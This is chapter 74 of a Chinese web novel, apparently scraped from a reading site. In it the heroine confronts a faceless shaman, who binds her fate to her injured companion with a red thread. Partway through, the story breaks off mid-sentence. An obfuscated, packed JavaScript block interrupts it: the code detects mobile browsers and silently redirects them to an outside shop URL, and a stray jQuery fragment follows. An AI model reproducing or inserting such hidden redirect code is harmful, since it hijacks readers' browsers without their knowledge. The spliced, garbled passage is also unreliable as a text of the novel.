74. 功德+74

作品:《我在凶宅当人形驱诡器

    “咳咳咳……”


    胸口像是被挤压,李俟菩嘴边一阵咳嗽,她艰难地撩起眼皮,嘴唇干裂。


    有些话近在耳边,她挠挠耳朵,与之相伴的是让人头晕目眩的铜铃声。


    但都不及,躺在她身旁应庐浅薄游丝的呼吸声。


    李俟菩几乎是下意识地就抓住了他的手,静静等待着自己思绪的回笼。


    “没想到,最先醒来的人是你。”


    轻薄白纱帷幔中,隐藏着一个极为消瘦的人影。


    那人转过身,尖细的嗓音回荡在这摆满瓶瓶罐罐的屋内。


    李俟菩撑起上身,扫过这屋子的陈设,才想起,这就是那个巫师的家。


    她左手侧,宁松帷与余愁山有序地躺在木板之上,排排酣睡。


    她们并没有进入第七次循环。


    “黄粱一梦。”那人影道。


    看来刚刚那场大梦就是她搞得鬼了。


    不过,应庐袭击巫师居然不是干涉项,难道周竹泉在原有时间线上也回击过她?


    李俟菩沉吟片刻,说:“藏在背后不敢现身,难道阁下无脸?”


    “对你们来说,我难道有脸?”巫师反问。


    李俟菩的眼底瞬间泛起寒意,她拎起床头木罐,精准撂向那作弄玄虚的人影。


    帷幕飘浮间,巫师没躲,她随手掀翻一台蜡烛,木罐与其两两相撞,没擦出火星,反倒将那白纱震开。


    李俟菩得见这人神秘的正脸,不出意外,还是空空如也。


    她并没有脸,神态很是从容。


    木罐和蜡烛双双砸在地上,巫师单手撩开那幕帘。


    她乌黑的发髻被一根木簪子盘上,走路步伐轻快,看不出来具体年龄,大概是二三十岁的模样。


    不算太年轻,也不算太老,与那常山蓝洞中的女人似是不符。


    “你什么意思?”李俟菩冷然诘问。


    “没意思。”巫师拾起地上那狼藉的罐子和蜡烛,“哎,我最讨厌没有礼貌的人了。”


    李俟菩的视线没有温度,不加掩饰地审视着她,目光快要把人穿个透心凉。


    “放心,你那两个朋友没有性命危险,我只是想让她们好好睡一觉。”


    巫师说着,嘴里藏着笑,又像藏着刀。


    她将那些个东西一一摆放好,毫不客气地当着李俟菩的面收拾桌子。


    李俟菩语气略带讽刺:“眼盲之人,心却不盲。”


    “心若盲,岂不是辜负了自己?”巫师意味深长道。


    她没有回驳自己眼盲的事情,还走到了木床边,俯视着端坐的李俟菩。


    “让她们两个醒过来。”李俟菩的语态不似下位者,还隐匿着些许命令的气味。


    巫师笑了声,置身事外道:“铜铃蛊,一旦入梦,就不可破,除非自渡。”


    “这蛊是我费尽千辛万苦熬成的,能让人在梦中见到最想见的人,如果能自行跳出玄关,识破诱惑,自然就醒来了。”


    她提着铃铛,摇了摇,耐人寻味地又道:“这么说来,你们还得感激我。”


    李俟菩眼中非是怒意,而是沉淀下来的冷寂,她说:“不解,你死。”


    “我若是死了,你们就真的要进入第七次循环了。”


    巫师捏着嗓子故作埋怨,恶劣的语气让李俟菩不退反进。


    她力未到,气先到。


    就算身子没有本体轻快,也能在巫师没反应过来之际,单手掐着她脖子将其死死抵在墙面上。


    只听一根肋骨被撞断的脆响,巫师发出一声极弱的痛吟,血味在周围蔓延。


    她无法在动弹,只能受制于人。


    “你不是清湾村的人,你是谁?”李俟菩尾音转冷,表情有些凶厉。


    这巫师有很大问题,她很显然知道生死阵的事情,甚至知道自己这副躯体下根本不是周小花。


    莫非当时生死阵开启时,还有其他人混了进来,夺舍了巫师?


    巫师的呼吸声变得粗重,她似是痛极,“是不是很疑惑除却你们四人,我为什么会知道生死阵?”


    她语气欠揍得紧,挑衅太过明显,李俟菩却渐渐放了手。


    “这就准备放了我?”巫师为难得浮夸,“可我并不打算告诉你想知道的事情,怎么办呢?”


    烛光如水,疏影摇曳,木床上有人疼痛难忍。


    李俟菩没回头,默了会儿,憋出三个字:“先救人。”


    巫师:???


    “不是,你现在不是应该威逼利诱地追问,或者一刀了结了我?”


    巫师破功,眨眼没了刚刚对峙的沉稳。


    还结巴了一两句,万般困惑地摆弄着双手,活像个跳大绳的猴子。


    “你看不起我是不是?你侮辱我?”


    李俟菩奇奇怪怪地回了她一眼,似是见到了神经病。


    “不是,最重要的是你怎么不按照套路来!”巫师捂着断了的肋骨质问道,“我预演了千万次,结果你就说了这个?”


    “给我重新来一遍!”巫师最后是吼着叫出来的,她居然还委屈上了。


    “我说,先救人。”


    李俟菩目光慑人,不闻不问,提着巫师的领子就将她送到应庐面前。


    巫师肋骨被牵动,疼得直滋哇乱叫。


    “喂,你到底几个意思啊?!”巫师痛得呕出一口血,但疯魔了般只顾着向李俟菩讨个说法。


    这神人,居然哭着喊着要把第二根肋骨送到她手前掰……


    李俟菩无语到极致反笑出声,她也不介意再断这人一根肋骨,但还是好声好气地将她从地上扯起来。


    “不管你是如何知晓,先给我救人,不然我让你求死不能。”


    巫师随她视线望过去,应庐果然疼得浑身抽搐,止不住地痉挛,虽然还活着,但还不如让他死了。


    李俟菩如今虽然疑团满腹,这巫师葫芦里卖的药危险至极,属实不敢轻易硬来。


    但此刻应庐生不如死,其他的什么鬼事都得排在后头。


    “我凭什么救?”巫师嗤之以鼻,“你有什么东西可以和我交换?”


    李俟菩无心与她讨价还价,“你想要什么直说。”


    巫师却像是得到了什么天价承诺般,没再闹腾,“他这情况糟糕,我只有一个法子,你试不试?”


    “试。”


    “我还没说呢,你着什么急?”巫师嘴上慢吞吞,不快地问,“周竹泉的妻子是周小花,那你呢?你是他什么人?”


    李俟菩面上不显,看应庐面色铁青,满脸冷汗,手指肚直接搓破出一条血痕来。


    撕裂的痛感通过神经传来,她瞬间清醒。


    “问题和法子有关系?”


    “有啊。”巫师从怀里掏出一根普通的红线,“换命。”


    “什么?”李俟菩微怔。


    “怎么,你不愿啊?”巫师自以为看破,不屑道,“我就知道你们这种人,就是嘴上着急,其实哪会交出什么真心,呵。”


    李俟菩缓慢坐至床尾,应庐的身体好似消停了会儿,又或是在蓄力,下一波的疼痛可能会更刮骨。


    她问:“有几成胜率?”


    “九成。”巫师比了个数字。


    “若换,是周小花与周竹泉,还是我和他?”李俟菩抛出根本问题,也将底牌亮了出来。


    “当然是你和他。”巫师坦白,一脸肯定道。


    这女人果然早知道她这芯子已换人。


    可生死阵中从未出现过这种掌握局面的劫数,布阵之人也不能做到。


    边上不省人事的应庐又开始了第二波苦刑,李俟菩直接甩开一切,坚定道:“换。”


    命数这种东西,她李俟菩不怕,她知道,应庐也不会怕。


    生死阵中,经历的一切都不会是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792699|179652||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    真的。


    所谓的换命,不过就是将应庐现在的痛苦分她一半,连她的命也续一半给他。


    阵毁后,应庐醒来的那神魂受损的创伤也由她承担而已,反正,他们早已福祸相依。


    巫师看她这般,从鼻腔里哼出笑声。


    “你啊你啊,放心,我说实话,我这种大好人可不会那种邪法子。”


    “这红线呢,也只是被浸泡过同生蛊的水罢了,不会真的有交换命数的效果,只能让你们共同负载痛苦,让他这个短命鬼活得久一点。”


    李俟菩瞥了眼她,眼里没有被戏耍的愠怒,只道:“若换,生死阵不会重启?”


    巫师一笑,“二十五年前,周小花和你做过同样的决定。”


    李俟菩一滞。


    巫师还有些感慨,她说:“终于在这里等到破阵之人了,哎,真是难得啊。”


    她这话还带些重见天日的期待,李俟菩未开口,手腕上霎时缠了根冰凉什物。


    那红绳一触到她腕子就像碰到了甜头,使劲绞着,李俟菩感觉整只手臂的血管有种被堵住的难受。


    反观红线的另一端,巫师正准备捻起,它却像是认主般直奔应庐的手腕。


    “这……你们本就生死相依啊?”巫师茫然地愣住,有些呆如木鸡。


    李俟菩与应庐被一条红线牵绊,越缠越紧,直至红线勒进了两人的皮肉,鲜血直流。


    李俟菩生理性地一颤,抬手就要将它砍断,眸子里却见应庐已停止了疼痛呻吟,她一只手停在半空,要落不落。


    “怎么回事?”李俟菩只好压着气声询问道。


    红线沾上血液,慢慢融汇一起,二人血液掺杂,绳线居然起了亮光。


    “你们……你们换过命啊!”巫师激动得磕巴,“我的红线居然突破了瓶颈,我成功了!我成功了!”


    李俟菩不由得变了脸色,一手摁着巫师就要跳起来的肩膀,“你给我说清楚,什么叫换过命?”


    “我不是说过它是没有换命效果的吗,所以它此前是不会吸食血液的,但你们血液居然助其冲破上限!它能换命了你知道吗?!”


    巫师毫不顾忌李俟菩,箍着她的肩就摇晃了起来,简直高兴得飞起。


    “这代表你们本来就是换过命的啊,你自己不知道吗?”


    李俟菩浑身血液倒灌,脑子里想不起来什么有关的记忆,却又像是无意中得见了什么真相般,惊愕不已。


    巫师却又疑道:“哎?你这另外一条线?”


    李俟菩腕间的红线忽然生出另一根线,突兀得就像是一件衣服长了第三条袖子。


    “你厉害啊!你不止跟一个人换过命啊你?!”巫师像是见到了无价之宝,“不过你这条线断了,线头却完好,应该不是被人斩断的。”


    “另一个和你换命的人,已经死了吧。”她捧起李俟菩的手,眼睛都快要贴上去。


    李俟菩抽手反推,心里阵阵发凉,犹如被惊雷劈住。


    四肢冻结,她几次张口都说不出话来。


    “不过我说个正经的,你这都已经和他换过命了,自然就不能再用分担痛苦的方法了。”


    “照这情况,他这次本来就能挺到该活的时间点,就是疼了点儿。”巫师笑嘻嘻道。


    她无所谓地说:“不用这法子,阵法也不会重启,也就是说,你们这趟白跑了。”


    李俟菩却奇异地冷静了下来,红线复动,应庐痛得蜷缩在一起。


    她定定地看了巫师一眼,另一只完好的手蠢蠢欲动。


    她没什么表情道:“不会白跑的,我说过,不能救,就去死。”


    巫师闻言,身子一僵,腿脚还没动,李俟菩反手拧向她脖子。


    骨头碎裂的声音清响,巫师石化般倒地。


    灯火间,李俟菩清冷的神情异常残酷。


    “还有些话,我下次再问你。”